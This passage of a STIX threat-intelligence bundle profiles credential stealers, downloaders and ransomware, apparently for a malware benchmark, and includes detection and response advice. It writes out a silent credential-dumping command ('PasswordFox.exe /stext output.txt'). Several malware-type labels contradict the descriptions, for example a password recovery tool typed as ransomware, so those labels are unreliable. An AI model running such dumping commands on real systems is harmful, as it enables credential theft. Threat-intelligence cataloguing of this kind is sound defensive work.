      "description": "<h3>Executive Summary</h3>\nPassCV is a highly specialized credential stealer designed to extract stored passwords, autocomplete data, and sensitive session tokens from compromised Windows environments. It primarily targets web browsers, email clients, and FTP applications, acting as an automated data harvesting tool for threat actors.\n\n<h3>Infection Vector and Extraction Methodology</h3>\nPassCV is often deployed as a secondary payload, dropped by an initial access broker or a generic downloader trojan following a successful phishing campaign. It is engineered for rapid execution; its goal is to extract data and exfiltrate it before the victim or security tools can respond.\n\nUpon execution, PassCV scans the host system for installed applications known to store credentials locally. It targets the underlying SQLite databases and encrypted credential stores of popular web browsers (Google Chrome, Mozilla Firefox, Microsoft Edge), email clients (Microsoft Outlook, Thunderbird), and FTP clients (FileZilla). \n\nPassCV utilizes native Windows APIs (such as `CryptUnprotectData` within the DPAPI - Data Protection API framework) to decrypt the stored passwords locally. The harvested data\u2014which includes URLs, usernames, passwords, and occasionally credit card numbers\u2014is aggregated into a single file, compressed, and exfiltrated to a command-and-control (C2) server via HTTP POST requests.\n\n<h3>Security and Privacy Implications</h3>\nA PassCV infection is a critical security incident that often precedes lateral movement or data breaches. The rapid theft of browser-stored credentials provides attackers with immediate, authenticated access to corporate web applications, cloud infrastructure (e.g., AWS, Azure), and internal portals.\n\n<h3>Incident Response and Mitigation</h3>\n<ul>\n<li><strong>Credential Invalidation:</strong> Immediate, organization-wide password resets are mandatory following a confirmed PassCV infection. All active session tokens must be forcibly revoked.</li>\n<li><strong>Policy Enforcement:</strong> Implement Group Policy Objects (GPOs) to explicitly disable the built-in password management and autofill features within corporate web browsers.</li>\n<li><strong>Behavioral Monitoring:</strong> Configure EDR solutions to monitor for anomalous access to browser profile directories (`%LocalAppData%\\Google\\Chrome\\User Data`) and the unauthorized use of DPAPI functions by non-system processes.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.PassCV",
        "PasswordStealer.PassCV",
        "Win32/PassCV"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Passcv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/passcv"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d5e7595-6947-5471-8350-d634ab98a597",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c46223ec-bba2-5417-97f2-2e5c70a526b5",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passcv exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4415b609-96d1-5a9c-bc17-7cdaddc90c86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c46223ec-bba2-5417-97f2-2e5c70a526b5",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passcv exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2349305d-e29e-5f00-9e88-f8061863f97a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c46223ec-bba2-5417-97f2-2e5c70a526b5",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passcv exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e60922e6-3542-5692-8597-98927539df2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c46223ec-bba2-5417-97f2-2e5c70a526b5",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passcv exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6a8f5a0e-2a77-53ba-a599-1daca39232c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Passma",
      "description": "Trojan:Win32/Passma is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Passma</b><br>To an end-user, a Passma infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Passma is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Passma is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Passma frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Passma reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Passma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/passma"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8967078-aa36-50a0-8242-aa2e1bcddcbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8f5a0e-2a77-53ba-a599-1daca39232c9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passma exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--503a2e9a-b0ac-5ff8-a71e-bf9a958d23da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8f5a0e-2a77-53ba-a599-1daca39232c9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passma exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb7e4359-a860-5b96-b819-8bca0939a124",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8f5a0e-2a77-53ba-a599-1daca39232c9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passma exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--862c0062-3c1f-59f5-8fac-947b720fa78e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8f5a0e-2a77-53ba-a599-1daca39232c9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passma exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f20447e-5723-5d25-b148-063129f1e2e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a8f5a0e-2a77-53ba-a599-1daca39232c9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passma exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8f871ca5-7993-508d-aa5f-86441bd7e05d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Passview",
      "description": "HackTool:Win32/Passview (or generic **NirSoft Password Recovery Abuse** heuristics) refers to the detection of legitimate, powerful system administration utilities\u2014specifically password recovery tools developed by NirSoft (like WebBrowserPassView, MailPassView, or WirelessKeyView)\u2014that are actively being abused by threat actors or insider threats. While these tools are designed to help IT administrators recover lost passwords, their ability to instantly dump plaintext credentials makes them highly prized weapons during the post-exploitation phase of a cyberattack.<br><br><b>Understanding Passview Abuse</b><br>To an end-user, these tools run completely silently in the background. For a security analyst, the unapproved presence of a Passview utility on a corporate endpoint is a 'code red' credential compromise event. These utilities do not crack passwords; they simply query the local SQLite databases or LSA secrets where Windows and web browsers securely store cached credentials and export them into a neat plaintext `.csv` or `.txt` file.<br><br><b>Execution and Credential Dumping Mechanics</b><br>Attackers drop Passview utilities after they have already gained initial access (`T1105`) and established a foothold on the machine. Because these are standalone, portable executables, they do not require installation. The attacker executes the tool via a command-line script (`T1059.003`), passing arguments to force the tool to run silently (e.g., `/stext`) and output the dumped passwords to a hidden file (`T1555.003`). The tool rapidly extracts saved passwords from Chrome, Firefox, Outlook, and the Windows Wireless Manager (`T1555`). The attacker then exfiltrates the plaintext output file (`T1041`) and deletes the tool to cover their tracks.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of all credentials saved on the endpoint, leading to Account Takeover (ATO) and lateral movement across the network. The primary IoC is the execution of known NirSoft binaries (e.g., `WebBrowserPassView.exe`) or their associated MD5/SHA256 hashes, often executed from unusual directories like `%Temp%` or `C:\\PerfLogs`. EDR logs will flag command-line executions containing arguments like `/stext` or `/shtml` associated with these binaries. The sudden creation of plaintext `.txt` files containing account names and passwords in temporary directories is a definitive sign of successful dumping. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Passview",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/passview"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bad349d0-37c6-5c17-95c9-9cee0161eb8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f871ca5-7993-508d-aa5f-86441bd7e05d",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passview exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers (Dumping Chrome/Firefox passwords))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40f6f51a-f7c2-5da0-b777-fc6a64996701",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f871ca5-7993-508d-aa5f-86441bd7e05d",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passview exhibits technique T1555 (Credentials from Password Stores (Dumping email/wireless keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--855734f2-0fa1-5120-a55a-b2617e2dce00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f871ca5-7993-508d-aa5f-86441bd7e05d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passview exhibits technique T1105 (Ingress Tool Transfer (Dropping the portable utility))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9f35a8d-fb78-558c-80c0-79d5d11eecf4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f871ca5-7993-508d-aa5f-86441bd7e05d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passview exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Automating the dump via CLI))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--37f477a7-dadd-5687-b06d-9cd079e3de86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Passwordfox",
      "description": "<h3>Executive Summary</h3>\nPasswordFox is a legitimate, commercially available password recovery utility developed by NirSoft. However, because it is designed to instantly extract and display user names and passwords stored by the Mozilla Firefox web browser in plain text, it is almost universally classified by security vendors as a \"HackTool\" or \"Riskware.\" Threat actors, particularly Initial Access Brokers and ransomware operators, heavily abuse PasswordFox, deploying it post-compromise to rapidly harvest local credentials.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPasswordFox is not self-replicating malware. It is a standalone executable (`PasswordFox.exe`) that is typically dropped onto a system by an attacker who has already gained interactive access, or it is executed silently in the background by a malicious script or dropper Trojan.\n\nUpon execution, its capabilities are highly focused:\n<ul>\n<li><strong>Firefox Profile Parsing:</strong> The utility automatically locates the default Mozilla Firefox user profile directory on the local hard drive (e.g., `%APPDATA%\\Mozilla\\Firefox\\Profiles\\`).</li>\n<li><strong>Plain-Text Recovery:</strong> It decrypts the contents of the `logins.json` and `key4.db` (or older `signons.sqlite`) files. If the user has not set a \"Master Password\" in Firefox, PasswordFox will instantly display all stored website addresses, usernames, and passwords in clear text.</li>\n<li><strong>Command-Line Automation (Abuse):</strong> Attackers frequently abuse the tool's command-line interface. By executing `PasswordFox.exe /stext output.txt`, the tool runs completely silently, dumps all recovered passwords to a hidden text file, and closes, allowing the attacker to easily exfiltrate the file via a reverse shell.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized execution of PasswordFox on a corporate endpoint is a critical indicator of an active credential harvesting operation. It signifies that an attacker has gained sufficient privileges to run credential-dumping tools and is actively seeking to escalate privileges or access cloud-based corporate resources using the victim's saved browser passwords.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Investigation:</strong> Determine if the execution was authorized by IT for legitimate password recovery. If not, the endpoint must be considered actively compromised and isolated immediately.</li>\n<li><strong>Trace the Execution:</strong> Utilize EDR telemetry to determine *how* PasswordFox was executed. Identify the parent process (e.g., `cmd.exe`, `powershell.exe`, or a malicious dropper) to locate the source of the breach.</li>\n<li><strong>Mandatory Global Credential Reset:</strong> If unauthorized execution is confirmed, all passwords stored in the user's browser, especially Active Directory or corporate web app credentials, must be reset immediately, as the attacker likely exfiltrated the plain-text results.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.PasswordFox",
        "Riskware.PasswordViewer",
        "PWS.Nirsoft",
        "Tool.PasswordFox"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Passwordfox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/passwordfox"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b458937d-79a9-588a-90b3-124fc53c92b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37f477a7-dadd-5687-b06d-9cd079e3de86",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passwordfox exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--508fb8b9-1e0d-5669-a3a0-40aabbb8e740",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37f477a7-dadd-5687-b06d-9cd079e3de86",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passwordfox exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4db4de9-4923-5966-810d-ce45ca69b668",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37f477a7-dadd-5687-b06d-9cd079e3de86",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passwordfox exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3e86b367-6ea4-519b-8344-aaa1f7040fd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Passwordstealer",
      "description": "Trojan:Win32/Passwordstealer (or PWS) is a generic heuristic detection used by antivirus engines to classify a massive category of malware exclusively designed to covertly harvest user credentials, session tokens, and financial data. **Infostealers** are currently one of the most prolific threats globally, heavily utilized by Initial Access Brokers (IABs) who steal corporate VPN credentials and sell them to ransomware cartels on the dark web.<br><br><b>Understanding Infostealers</b><br>To an end-user, an infostealer infection is completely invisible; the computer functions normally while their digital identity is stripped. For a security analyst, an infostealer detection is a critical emergency. It means all passwords, cookies, and crypto-wallets stored on that machine are compromised. Prominent examples of infostealer families include RedLine, Raccoon, Vidar, and LummaC2.<br><br><b>Execution and Harvesting Mechanics</b><br>Infostealers are distributed via cracked software, YouTube 'tutorial' descriptions, phishing, and malvertising. Upon execution (`T1204.002`), the malware acts incredibly fast, often completing its theft and deleting itself within seconds. It targets specific browser directories (e.g., `AppData\\Local\\Google\\Chrome\\User Data\\Default`) to extract the `Login Data` SQLite database and the `Cookies` file (`T1555.003`). Because modern browsers encrypt these databases using the Windows Data Protection API (DPAPI), the malware injects code to decrypt the passwords locally (`T1555`). It also targets cryptocurrency wallet extensions (like MetaMask) and FTP clients. It packages this data into a ZIP file and exfiltrates it to a Telegram bot or C2 server (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the total compromise of all credentials stored on the endpoint. Host-based IoCs include EDR alerts for rapid, sequential file access of multiple SQLite databases across all installed browsers, often accompanied by attempts to interact with `crypt32.dll` (for DPAPI decryption). Network IoCs include a sudden, short burst of outbound encrypted traffic (the exfiltration of the data archive) to unknown IP addresses or Telegram API endpoints. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Passwordstealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/passwordstealer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ffbb5ca-adec-59f7-9a39-b6e3bf206eee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e86b367-6ea4-519b-8344-aaa1f7040fd8",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passwordstealer exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e295cc1-1698-5ab4-a79c-d471c2dbd963",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e86b367-6ea4-519b-8344-aaa1f7040fd8",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passwordstealer exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--71c50490-44df-5f12-9f83-fc1b2a7112b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e86b367-6ea4-519b-8344-aaa1f7040fd8",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passwordstealer exhibits technique T1552.001 (Credentials In Files (Stealing crypto wallets and FTP configs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--665e1086-a948-556d-ad14-df36591f69c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e86b367-6ea4-519b-8344-aaa1f7040fd8",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Passwordstealer exhibits technique T1056.004 (Input Capture: Credential API Hooking (DPAPI decryption))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--25315f24-b574-5876-8a4f-5fb1701c2255",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pasta",
      "description": "Pasta (identified in antimalware telemetry under signatures Ransom:Win32/Pasta, Trojan-Ransom.Win32.Pasta, and Win32/Pasta) is an extortion crypto-ransomware family targeting Microsoft Windows endpoints. Propagated through spearphishing email campaigns, weaponized macros, and drive-by exploit kits, Pasta conducts immediate host reconnaissance upon execution. It terminates database management processes, backup daemons, and virtualization services using taskkill to unlock files. Pasta traverses local disk volumes, removable drives, and connected network shares, encrypting documents, spreadsheets, databases, and archives using AES-256 encryption wrapped with an embedded RSA public key. It executes shell commands invoking vssadmin to delete Volume Shadow Copies and uses bcdedit to disable automatic Windows startup recovery. It drops ransom notes in encrypted folders demanding cryptocurrency payment in exchange for a decryption utility. (Observed samples in benchmark: 20)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Pasta",
        "Trojan-Ransom.Win32.Pasta",
        "Win32/Pasta",
        "Ransom.Pasta",
        "Ransom:Win32/Pasta.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pasta",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pasta"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b149a640-e5d0-5679-9e89-a97395682a20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25315f24-b574-5876-8a4f-5fb1701c2255",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pasta exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa81b8b4-40e6-56a1-94d5-860bedc226df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25315f24-b574-5876-8a4f-5fb1701c2255",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pasta exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--383e49a9-bac2-58b0-9d27-7e7ba0e72810",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25315f24-b574-5876-8a4f-5fb1701c2255",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pasta exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47146170-3bd4-5906-87eb-9d2abbf51beb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25315f24-b574-5876-8a4f-5fb1701c2255",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pasta exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e3f2789-c3de-54aa-bac5-1b69a2e5d038",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--25315f24-b574-5876-8a4f-5fb1701c2255",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pasta exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--967e7f7e-b2c6-5921-8065-6d28a461415c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pastraw",
      "description": "<h3>Executive Summary</h3>\nPastraw is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPastraw is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Pastraw operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Pastraw ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Pastraw receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Pastraw infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized 